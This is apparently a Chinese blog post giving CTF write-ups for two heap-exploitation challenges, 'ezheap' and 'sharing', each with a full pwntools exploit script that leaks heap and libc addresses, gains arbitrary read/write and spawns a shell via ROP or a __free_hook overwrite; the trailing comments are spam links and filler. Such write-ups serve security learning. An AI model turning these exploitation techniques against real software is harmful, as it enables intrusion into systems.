Loading... ## ezheap 这道题琢磨了好久😕 题目自己实现了一个新思路的堆管理器,用mmap提供堆内存,chunk大小四字节对齐。 每个大小的chunk(小于large_size)都被单独的类比heap_info的结构管理,每个heap通过mmap拥有一个四页大小的空间供使用,还有一个free_list。申请chunk时用随机的办法从这个空间中取内存,通过检测“拥挤”的程度决定是否要为此大小的chunk开辟新heap。 先修一下结构体: ![](https://pic.imgdb.cn/item/61a62de52ab3f51d9117c761.png) chunk_head字段=chunk_size|&heap_info free时会检查heap_info->size是否等于chunk_size 漏洞点: alloc功能让用户选择将申请到的内存当作ByteArray/Uint16Array/Uint32Array/FloatArray使用,用下标读写。然而实际申请堆块固定是4字节对齐。这就意味着用户选择FloatArray方式读写时(8字节对齐),可以造成4字节溢出,运气好的话这4字节就是下一个chunk的head字段。 打法: 1. 申请足够多个0x10(这是因为array_head是0x10大小)、0x100大小的chunk试图出现两个chunk紧挨的情况(去掉chunk head的4字节后实际使用大小为0xc、0xfc,FloatArray形式读写时有4字节溢出) 2. 检测是否有1的情况出现,如果有的话可以得到0x10/0x100 chunk的&heap_info 3. 将不幸被overlap的0x10 chunk的head写为0x100| &0x100_heap_info,free所有0x10 chunk后被覆写head的chunk就到了0x100 heap的free_chunk链表中 4. alloc(0x100)取出这个实际在0x10 heap中的fake 0x100 chunk,检测它是否覆盖到了某个处于正常使用状态的chunk的array_head,如果有的话,测出该chunk的idx,后续就可任意地址读写了 5. 读libc_environ,算出main函数返回地址,写ROP exp: ```python from pwn import * import struct p = process("./ezheap",env={"LD_PRELOAD":"./libc-2.27.so"}) def d2q(value): return u64(struct.pack('<d',value)) def q2d(value): return struct.unpack('<d',p64(value))[0] def cmd(c): p.recvuntil("enter your choice>>") p.sendline(str(c)) def alloc(type,size,idx): cmd(1) p.recvuntil("type >>") p.sendline(str(type)) p.recvuntil("size>>") p.sendline(str(size)) p.recvuntil("idx>>") p.sendline(str(idx)) def edit(type,idx,element_idx,value): cmd(2) p.recvuntil("type >>") p.sendline(str(type)) p.recvuntil("idx>>") p.sendline(str(idx)) p.recvuntil("element_idx>>") p.sendline(str(element_idx)) p.recvuntil("value>>") p.sendline(str(value)) def view(type,idx,element_idx): cmd(3) p.recvuntil("type >>") p.sendline(str(type)) p.recvuntil("idx>>") p.sendline(str(idx)) p.recvuntil("element_idx>>") p.sendline(str(element_idx)) def dele(type,idx): cmd(4) p.recvuntil("type >>") p.sendline(str(type)) p.recvuntil("idx>>") p.sendline(str(idx)) # leak chunk 0x10 heap_info for i in range(0x100): alloc(4,0xc,i) page_10 = 0 page_100 = 0 found_idx = 0 found = False for i in range(0x100): view(4,i,1) p.recvuntil("value>>\n") value = float(p.recvuntil("\n",drop=True)) if(value!=0.0 and ((d2q(value)>>32)&0xfff)==0x10): page_10=(d2q(value)>>32) & 0xfffff000 found_idx = i found = True break if(found == False): info("bad luck!") exit(0) found = False # leak chunk 0x100 heap_info for i in range(0x100): alloc(4,0xfc,i+0x100) for i in range(0x100): view(4,i+0x100,0x1f) p.recvuntil("value>>\n") value = float(p.recvuntil("\n",drop=True)) if(value!=0.0 and ((d2q(value)>>32)&0xfff)==0x100): page_100=(d2q(value)>>32) & 0xfffff000 found = True break if(found == False): info("bad luck!") exit(0) # leak successful info("page(chunk size 0x10) addr : " + hex(page_10)) info("page(chunk size 0x100) addr : " + hex(page_100)) # overwrite chunk header fake_addr=(page_100|0x100)<<32 edit(4,found_idx,1,repr(q2d(fake_addr))) info("found_idx : " + hex(found_idx)) #free all the chunk 0x10 for i in range(1,0x100): dele(4,i) alloc(3,0xc,i) #fake chunk 0x100 alloc(3,0xfc,0) #find the covered ptr offset=-1 for i in range(4,0x3f): view(3,0,i) p.recvuntil("value>>\n") value = int(p.recvuntil("\n",drop=True)) if(value==0x3): offset=i+1 # covered ptr's offset break if offset==-1: info("bad luck!") exit(0) edit(3,0,offset,page_10) info("found offset : " + str(offset)) #search the corrupted chunk found_index=-1 for i in range(1,0x100): view(3,i,0) p.recvuntil("value>>\n") value = int(p.recvuntil("\n",drop=True)) if(value==0x10): found_index=i break if found_index==-1: info("bad luck!") exit(0) #arbitrarily read and write def arbread(addr): edit(3,0,offset,addr) view(3,found_index,0) p.recvuntil("value>>\n") value = int(p.recvuntil("\n",drop=True)) return value def arbwrite(addr,value): edit(3,0,offset,addr) edit(3,found_index,0,value) leak_elf=arbread(page_10+0x1c) #info('leak_elf:'+hex(leak_elf)) elf=ELF('./ezheap',checksec=False) elf.address=leak_elf-0x9060 info('elf_base:'+hex(elf.address)) libc=ELF('./libc-2.27.so',checksec=False) libc.address=arbread(elf.got['read'])-libc.symbols['read'] info("libc_base:" + hex(libc.address)) env_addr=arbread(libc.symbols['environ']) #info("env_addr:" + hex(env_addr)) #get main ret addr main_ret_in_stack=0 for i in range(100): t=arbread(env_addr-i*4) if t==libc.symbols['__libc_start_main']+241: main_ret_in_stack=env_addr-i*4 break if main_ret_in_stack==0: info("bad luck!") exit(0) info("ret_addr:" + hex(main_ret_in_stack)) gdb.attach(p,'b *$rebase(0x1920)\nc\n') #rop rop_chain = [libc.sym["execve"],0,next(libc.search(b"/bin/sh\x00")),0,0] rop_chain_len = len(rop_chain) for i in range(rop_chain_len): arbwrite(main_ret_in_stack + i * 4,rop_chain[i]) #gdb.attach(p,'b *$rebase(0x1965)\nc\n') cmd(5) p.interactive() ``` ## sharing c++写的题目,glibc2.27 我c++不咋地所以看ida反编译出来的代码很头疼,看这个题貌似不复杂就直接盲调看看 然后就发现class chunk包含的结构体是 ```c struct Chunk{ size_t size; char* buffer; } ``` 每次new一个chunk后会得到一个0x30的chunk,chunk+0处是vtable_ptr,chunk+0x10处是struct Chunk 这题有个魔法函数是绕过一个限制之后就可以把任意地址上的值-2,leak了heap base和libc base后用这个功能来uaf可以说是很方便了 exp: ```python from pwn import* p=process('./sharing',env={'LD_PRELOAD':'./libc-2.27.so'}) libc=ELF('./libc-2.27.so') #context.log_level='debug' def add(idx,size): p.recvuntil('Choice: ') p.sendline('1') p.recvuntil('Idx: ') p.sendline(str(idx)) p.recvuntil('Sz: ') p.sendline(str(size)) def copy(fro,to): p.recvuntil('Choice: ') p.sendline('2') p.recvuntil('From: ') p.sendline(str(fro)) p.sendline('To: ') p.sendline(str(to)) def writes(idx): p.recvuntil('Choice: ') p.sendline('3') p.recvuntil('Idx: ') p.sendline(str(idx)) def edit(idx,content): p.recvuntil('Choice: ') p.sendline('4') p.recvuntil('Idx: ') p.sendline(str(idx)) p.recvuntil('Content: ') p.sendline(content) def dead(addr): p.recvuntil('Choice: ') p.sendline('57005') magic_num=0x2F767991 p.sendline(p32(magic_num)+p32(0)*3) p.recvuntil("Addr: ") p.sendline(str(addr)) #gdb.attach(p) add(0,0x20) add(1,0x20) add(0,0x30) gdb.attach(p) add(1,0x30) #leak heap add(2,0x20) writes(2) leak_heap=u64(p.recv(6).ljust(8,b'\x00')) print('leak_heap:',hex(leak_heap)) #leak libc for i in range(8): add(i+3,0x90) #3-10 for i in range(8): add(i+3,0xa0) add(11,0x30) writes(11) libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x3ebd30 print('libc_base:',hex(libc_base)) #gdb.attach(p) #change free_hook change_addr=leak_heap+0xd78-0x5d0 dead(change_addr+1) for i in range(0x50): dead(change_addr) free_hook=libc_base+libc.symbols['__free_hook'] print('free_hook:',hex(free_hook)) edit(3,p64(free_hook)) system=libc_base+libc.symbols['system'] print('system:',hex(system)) add(12,0x90) #gdb.attach(p) add(13,0x90) edit(13,p64(system)) edit(12,'/bin/sh\x00') add(12,0x20) p.interactive() ``` 最后修改:2021 年 12 月 01 日 10 : 29 AM © 允许规范转载
28 条评论
哈哈哈,写的太好了https://www.cscnn.com/
看的我热血沸腾啊www.jiwenlaw.com
看的我热血沸腾啊https://www.237fa.com/
叼茂SEO.bfbikes.com
555
555
1
1
555
555
1
1
1
1
1
1
1
1
1
555
555
1
1
1
1
1
1
555